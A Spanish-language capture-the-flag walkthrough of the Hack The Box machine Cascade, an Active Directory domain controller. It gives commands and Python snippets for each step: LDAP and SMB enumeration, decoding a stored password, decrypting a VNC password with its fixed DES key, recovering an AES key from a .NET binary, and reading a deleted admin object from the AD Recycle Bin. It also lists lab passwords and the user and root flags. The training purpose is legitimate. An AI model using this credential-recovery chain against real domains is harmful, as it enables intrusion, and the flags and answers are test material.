Volver al laboratorio ~/iphobiuss/guias/06-cascade

Cascade

HTB WINDOWS MEDIUM ACTIVE DIRECTORY REVERSING

Guía de Cascade, la #6 de la serie y la primera Medium. El salto de dificultad no es que un paso sea más duro: es que hay muchos más pasos, y hay que mantener el hilo. Ocho eslabones encadenados, cada uno con una técnica que Forest y Sauna no tenían: enumeración LDAP profunda, Base64, descifrado de VNC, reversing de un binario .NET con AES, y la papelera de reciclaje de Active Directory.

Mi cuadernoFavoritos y lectura guardados solo en este navegador.El punto de lectura se actualiza al desplazarte.Cuaderno opcional no disponible.
En esta guía
VPN: Machines (la normal). El flujo de conexión y el /etc/hosts son los de Forest (ver 00 · Setup). En esta guía la IP es 10.129.62.222, el dominio cascade.local y el DC CASC-DC1.

Nota sobre BloodHound: usa bloodhound-ce-python con BloodHound CE y registra ambas versiones. bloodhound-python corresponde al recolector legacy y requiere su analizador compatible. Si el ZIP no carga, revisa formato y errores de importación antes de atribuir la causa. La URL y las credenciales de CE proceden del bootstrap/configuración de tu despliegue, como se explica en Forest. Cascade se resuelve por LDAP y shares; BloodHound es opcional aquí.
Resumen del recorrido (contiene spoilers)
01
RECON
DC sin web
02
LDAP
legacyPwd → r.thompson
03
DATA
share → 3 archivos
04
VNC
descifrar → s.smith
05
AUDIT
.NET + AES → arksvc
06
RECYCLE BIN
TempAdmin → root
Entorno y versiones documentadas
  • Kali Linux y VirtualBox: versiones no especificadas en la guía original.
  • Análisis: BloodHound CE; versión exacta no indicada.

Las versiones indicadas provienen del texto original. La fecha de edición identifica la revisión de esta página; no implica que se haya repetido el laboratorio.

Modo de lectura
▚

01 · RECONOCIMIENTO

Un DC como Forest, pero sin web: la lista de usuarios sale de LDAP/SMB.
PISTAIdentifica los puertos abiertos, sus servicios y versiones. Anota una hipótesis de entrada por cada servicio.
Ver solución paso a paso
Comandos / terminal
nmap -p- --min-rate 1000 -oA nmap/allports 10.129.62.222
nmap -sCV -p 53,88,135,139,389,445,636,3268,3269,5985 -oA nmap/detail 10.129.62.222

ttl=127 sugiere Windows (a confirmar). Huella de Domain Controller (Kerberos 88, LDAP 389/636, SMB 445, WinRM 5985), Windows Server 2008 R2 (un DC viejo). Dominio cascade.local, host CASC-DC1. A diferencia de Sauna, no hay puerto 80: sin web, la lista de usuarios saldrá de LDAP o SMB.

Comandos / terminal
sudo sh -c 'echo "10.129.62.222 cascade.local CASC-DC1.cascade.local CASC-DC1" >> /etc/hosts'
ERROR CLÁSICO: Name or service not knownSi GetNPUsers u otra herramienta Kerberos falla con Name or service not known (CASCADE.LOCAL:88), no es que el ataque falle: es que falta el /etc/hosts. Kerberos habla por nombre, no por IP. Configúralo justo después de sacar el dominio.
▚

02 · ENUMERACIÓN LDAP

La primera credencial está escondida en un atributo del directorio.
PISTANo te limites a los atributos habituales del directorio. Revisa también los atributos personalizados.
Ver solución paso a paso

Usuarios (SMB) y AS-REP (falla)

Comandos / terminal
netexec smb 10.129.62.222 -u '' -p '' --users   # SÍ da 15 usuarios (a diferencia de Sauna)
# guarda esos 15 usuarios, uno por línea, en users.txt del directorio actual
netexec smb 10.129.62.222 -u '' -p '' --users | awk 'NR>4{print $5}' | sort -u > users.txt
impacket-GetNPUsers cascade.local/ -no-pass -usersfile users.txt   # ningún usuario roasteable

Medium no regala la entrada: el AS-REP Roasting de Forest/Sauna aquí no da nada. Hay que escarbar más.

▚ Atributos de LDAP: donde se esconden secretos

Cada usuario de AD es un objeto con decenas de atributos (campos). Los administradores a veces dejan información sensible en campos poco visibles, incluso personalizados. Volcar todo LDAP y buscar en él es una técnica central de AD.

Volcar y buscar

Comandos / terminal
ldapsearch -x -H ldap://10.129.62.222 -b "DC=cascade,DC=local" > ldap_dump.txt
grep -i "pwd\|pass\|legacy" ldap_dump.txt

En el objeto de Ryan Thompson aparece un atributo no estándar:

Ejemplo de la guía
# Ryan Thompson, Users, UK, cascade.local
userPrincipalName: r.thompson@cascade.local
cascadeLegacyPwd: clk0bjVldmE=
BASE64 NO ES CIFRADOEse clk0bjVldmE= (con = al final) es Base64: no se crackea, se decodifica, y es instantáneo. Distinto de un hash. Reconocer el patrón ahorra tiempo.
Comandos / terminal
echo 'clk0bjVldmE=' | base64 -d   # -> rY4n5eva

Credenciales: r.thompson / rY4n5eva.

▚

03 · SHARE DATA

r.thompson no da shell, pero sí acceso a un share con pistas.
PISTAEnumera los recursos compartidos a los que permite entrar la cuenta actual. Busca respaldos y archivos de configuración.
Ver solución paso a paso

r.thompson no tiene WinRM (es un peldaño intermedio), pero sí lee un share no estándar llamado Data:

Comandos / terminal
netexec smb 10.129.62.222 -u r.thompson -p rY4n5eva --shares   # Data: READ
smbclient //10.129.62.222/Data -U 'cascade.local/r.thompson%rY4n5eva'
smb: \> recurse ON
smb: \> prompt OFF
smb: \> ls

Dentro, en \IT\, tres archivos son la clave. Descárgalos con get (van entre comillas por los espacios):

Desplaza la tabla horizontalmente. Con teclado, enfócala y usa las flechas ← →.

ArchivoQué revela
Meeting_Notes_June_2018.htmlExistió una cuenta TempAdmin cuya contraseña es la misma que la del Administrator del dominio. Se borraría a fin de 2018.
ArkAdRecycleBin.logEl usuario arksvc corre un gestor de papelera de AD, y TempAdmin fue movido a la papelera (Deleted Objects).
VNC Install.regEn la carpeta de s.smith: la contraseña de VNC de s.smith, cifrada.
smbclient y las barras de WindowsCon recurse ON, smbclient guarda los archivos con las \ de Windows dentro del nombre. Para leerlos en Linux, envuelve el nombre completo en comillas simples: cat './IT\Temp\s.smith\VNC Install.reg'.
▚

04 · DESCIFRAR VNC → s.smith

El formato legado de este laboratorio usa una clave fija y conocida.
PISTAIdentifica cómo guarda sus credenciales ese programa antes de intentar recuperar el valor original.
Ver solución paso a paso

▚ La contraseña de VNC

El VNC Install.reg tiene "Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f. Este formato legado guarda la contraseña con una clave DES fija y conocida, por lo que el valor del archivo se puede descifrar. No es una descripción universal de todos los productos o mecanismos de autenticación VNC.

Comandos / terminal
echo -n '6bcf2a4b6e5aca0f' | xxd -r -p > vnc.bin
python3 -c "from Crypto.Cipher import DES
d=open('vnc.bin','rb').read()
k=b'\xe8\x4a\xd6\x60\xc4\x72\x1a\xe0'
print(DES.new(k,DES.MODE_ECB).decrypt(d))"   # -> sT333ve2

Esa clave DES (e84ad660c4721ae0) corresponde al formato legado usado por el archivo de este laboratorio. Contraseña de s.smith / sT333ve2.

Foothold y user flag

s.smith SÍ tiene WinRM (está en Remote Management Users):

Comandos / terminal
netexec winrm 10.129.62.222 -u s.smith -p sT333ve2   # (Pwn3d!)
evil-winrm -i 10.129.62.222 -u s.smith -p sT333ve2
type C:\Users\s.smith\Desktop\user.txt   # user flag
DATO DE ENUMERACIÓN: EL LOGON SCRIPTEl "script que corre al iniciar sesión" un usuario no es un archivo cualquiera: es el atributo scriptPath de su cuenta. Se ve con Get-ADUser s.smith -Properties scriptPath (aquí: MapAuditDrive.vbs), no con el .bat que haya por el share.
▚

05 · AUDIT$ + REVERSING → arksvc

La parte más Medium: una contraseña cifrada con AES y la clave en un binario.
PISTARelaciona los datos guardados en la base de datos con el código que los consume.
Ver solución paso a paso

s.smith pertenece al grupo Audit Share, que le abre un share que r.thompson no veía. Dentro está el paquete del "Ark Audit":

Comandos / terminal
smbclient '//10.129.62.222/Audit$' -U 'cascade.local/s.smith%sT333ve2'
# CascAudit.exe (.NET) · CascCrypto.dll · DB\Audit.db (SQLite) · RunAudit.bat

La base de datos

Ejemplo de la guía
sqlite3 Audit.db
sqlite> .tables            # DeletedUserAudit  Ldap  Misc
sqlite> SELECT * FROM Ldap;
# ArkSvc | BQO5l5Kj9MdErXx6Q6AGOw== | cascade.local
ESTO NO ES SOLO BASE64El BQO5l5Kj9MdErXx6Q6AGOw== parece Base64 por el =, pero está cifrado con AES y luego codificado. Decodificarlo con base64 -d solo da bytes basura: hay que descifrarlo con la clave correcta.

▚ Reversing de un binario .NET

La clave AES y el IV están incrustados en CascAudit.exe / CascCrypto.dll. Los binarios .NET se descompilan para leer su código casi original. La herramienta ideal es dnSpy (o ILSpy) en Windows, que muestra la llamada a DecryptString(pwd, "clave") y el DefaultIV. En Kali los descompiladores (ilspycmd, monodis) pueden fallar: ten dnSpy a mano.

Del binario se obtiene: clave c4scadek3y654321, IV 1tdyjCbY1Ix49842, modo AES-CBC. Con eso se descifra:

Comandos / terminal
python3 -c "from Crypto.Cipher import AES; import base64; \
e=base64.b64decode('BQO5l5Kj9MdErXx6Q6AGOw=='); \
print(AES.new(b'c4scadek3y654321',AES.MODE_CBC,b'1tdyjCbY1Ix49842').decrypt(e))"
# -> b'w3lc0meFr31nd\x03\x03\x03'  (el \x03 es padding PKCS7)

Contraseña de arksvc / w3lc0meFr31nd. Lección: hardcodear claves en binarios es reversible.

▚

06 · AD RECYCLE BIN → ROOT

En este laboratorio, una delegación permite leer un atributo legado sensible de un objeto eliminado.
PISTALos objetos eliminados de un directorio pueden conservar atributos. Revisa los permisos y el alcance de la papelera.
Ver solución paso a paso

▚ La papelera de reciclaje de Active Directory

Con Active Directory Recycle Bin habilitada, los objetos eliminados conservan atributos durante su estado recuperable. Consultarlos requiere permisos sobre los objetos y el contenedor correspondiente. En Cascade, el grupo personalizado AD Recycle Bin tiene esa delegación y arksvc pertenece a él; no es un grupo incorporado que otorgue ese acceso de forma universal. Lo que se recupera aquí es cascadeLegacyPwd, un atributo legado personalizado con un secreto en Base64, no la contraseña nativa de AD convertida en texto legible. El email del laboratorio indica que TempAdmin reutilizaba la contraseña de Administrator.

Recuperar TempAdmin

Comandos / terminal
evil-winrm -i 10.129.62.222 -u arksvc -p w3lc0meFr31nd
PS> Get-ADObject -filter 'isDeleted -eq $true -and Name -like "*TempAdmin*"' -includeDeletedObjects -Properties *
# cascadeLegacyPwd: YmFDVDNyMWFOMDBkbGVz

El atributo personalizado cascadeLegacyPwd conserva el secreto legado en Base64. En este laboratorio, la reutilización indicada en el email permite validar el valor decodificado como contraseña de Administrator:

Comandos / terminal
echo 'YmFDVDNyMWFOMDBkbGVz' | base64 -d   # -> baCT3r1aN00dles

Acceso como Administrator

Comandos / terminal
evil-winrm -i 10.129.62.222 -u Administrator -p 'baCT3r1aN00dles'
type C:\Users\Administrator\Desktop\root.txt   # root flag

Acceso como Administrator documentado. La reutilización de la contraseña permite autenticar con esa identidad; no demuestra una membresía nueva en Domain Admins.

r.thompson ─(VNC)→ s.smith ─(AES/.NET)→ arksvc ─(papelera AD)→ TempAdmin (objeto eliminado) ─(reúso de clave)→ Administrator
▚

TASKS · GUIDED MODE

Las flags son de una instancia concreta. En tu máquina serán distintas.
Mostrar respuestas del laboratorio

Desplaza la tabla horizontalmente. Con teclado, enfócala y usa las flechas ← →.

TaskRespuesta
Username de Ryan Thompsonr.thompson
Contraseña de r.thompsonrY4n5eva
Share no estándar al que accede r.thompsonData
Cuenta temporal a borrar a fin de 2018TempAdmin
Contraseña de s.smithsT333ve2
Script que corre al iniciar sesión s.smithMapAuditDrive.vbs
Base de datos SQLite en el shareAudit.db
Ejecutable .NET con credenciales cifradasCascAudit.exe
Contraseña de arksvcw3lc0meFr31nd
Grupo personalizado del laboratorio del que arksvc es miembroAD Recycle Bin
Contraseña de la cuenta administratorbaCT3r1aN00dles
User flag (escritorio de s.smith)2290720c26e43893eca418ff87d029e5
Root flag (escritorio de Administrator)f0b11c370bfe635793f2df9e43304f72
▚

EL SALTO A MEDIUM

No un paso más duro: muchos más pasos, y mantener el hilo.
SMB users → LDAP legacyPwd → share Data → VNC decrypt → .NET/AES → AD Recycle Bin → Administrator

GENERAL principio transferible a otras máquinas. LAB heurística o convención de laboratorio (HTB), no una regla universal.

  • GENERALEnumeración LDAP profunda: revisar los atributos accesibles puede revelar información sensible. La lectura anónima y cascadeLegacyPwd son condiciones de Cascade, no garantías de AD.
  • GENERALBase64 ≠ cifrado: el = al final delata Base64; se decodifica (instantáneo), no se crackea.
  • GENERALShare hunting: --shares + smbclient recurse ON para peinar carpetas en busca de configs, emails y logs.
  • LABDescifrado de VNC: el formato legado del archivo de este laboratorio usa una clave DES fija y conocida; no describe todos los mecanismos de credenciales de VNC.
  • GENERALReversing .NET: claves AES/IV hardcodeadas en un binario se leen con dnSpy/ILSpy y permiten descifrar secretos.
  • GENERALSQLite: sqlite3 para leer bases de datos de aplicaciones que dejan credenciales.
  • LABAD Recycle Bin en Cascade: una delegación al grupo personalizado permite consultar cascadeLegacyPwd de TempAdmin. El principio general es proteger también los atributos sensibles de objetos eliminados; ese acceso y ese secreto concreto dependen del laboratorio.
  • GENERALEncadenar credenciales: cada usuario desbloquea al siguiente (r.thompson → s.smith → arksvc → Administrator).
  • LAB/etc/hosts para resolver nombres: Name or service not known en Kerberos = falta el mapeo del dominio (habitual en labs), no un ataque fallido.
  • GENERALBloodHound CE vs legacy: empareja analizador y recolector; para CE usa bloodhound-ce-python. Un error de importación requiere revisar el formato y el registro, no asumir una sola causa.